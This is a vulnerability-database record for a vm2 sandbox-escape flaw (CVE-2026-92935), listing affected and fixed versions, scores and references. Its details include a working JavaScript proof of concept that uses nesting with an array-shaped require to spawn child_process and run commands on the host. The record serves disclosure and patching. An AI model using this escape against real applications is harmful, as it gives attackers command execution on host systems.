{"schema":"threatline.record/2","record":{"id":"CVE-2026-92935","aliases":["GHSA-8hr7-r645-pc6w"],"summary":"vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE","details":"## Summary\n\nThe `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' && requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.\n\nArray is converted into the vm2-only resolver:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226\n\nNesting loader returns the host VM constructors:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645\n\n## Proof of Concept\n\nPreconditions:\n\n- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`.\n- The attacker can supply JavaScript executed by that `NodeVM`.\n\n```javascript\n'use strict';\n\nconst {NodeVM} = require('./index.js');\n\nconst outer = new NodeVM({nesting: true, require: []});\nconst result = outer.run(`\n\tconst {NodeVM} = require('vm2');\n\tconst inner = new NodeVM({require: {builtin: ['child_process']}});\n\tmodule.exports = inner.run(\n\t\t\"module.exports = require('child_process').execSync('id').toString()\"\n\t);\n`);\n\nconsole.log(result);\n```\n\n```text\nuid=1000(lohar) gid=1000(lohar) groups=1000(lohar)\n```\n\nThe `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.\n\nFailed shape check:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307\n\n## Impact\n\nAn attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched. \n\n> Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8hr7-r645-pc6w","source_modified_at":"2026-10-01T15:35:00Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":">= 3.11.4, <= 3.11.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92935","source_modified_at":"2026-09-17T19:21:04.162Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"version":"3.11.4","status":"affected","versionType":"semver","lessThan":"3.11.7"},{"version":"3.11.7","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8hr7-r645-pc6w","source_modified_at":"2026-10-01T15:45:06.195893388Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2","purl":"pkg:npm/vm2"},"ranges":[{"events":[{"introduced":"3.11.4"},{"fixed":"3.11.7"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8hr7-r645-pc6w","source_modified_at":"2026-10-01T15:35:00Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.11.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92935","source_modified_at":"2026-09-17T19:21:04.162Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.11.7","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8hr7-r645-pc6w","source_modified_at":"2026-10-01T15:45:06.195893388Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2","purl":"pkg:npm/vm2"},"version":"3.11.7"}],"cvss":9,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00673,"percentile":0.51535,"score_date":"2026-10-23"},"published_at":"2026-09-17T13:46:00.854Z","modified_at":"2026-10-01T15:45:06.195893388Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-8hr7-r645-pc6w","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:35:00Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-92935","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-17T19:21:04.162Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-8hr7-r645-pc6w","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:45:06.195893388Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92935","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w","tags":["vendor-advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92935","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/commit/05894eca1dc6a2b1a986f312c88255288a983d22","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b","tags":["patch"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-8hr7-r645-pc6w","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"total","assessed_at":"2026-09-17T18:57:25.525605Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-01T15:45:06.195893388Z","content_hash":"b358b2083678a1f6a5d1c7d0210123d948e29de19feff43b6c0f43bf02078229"}}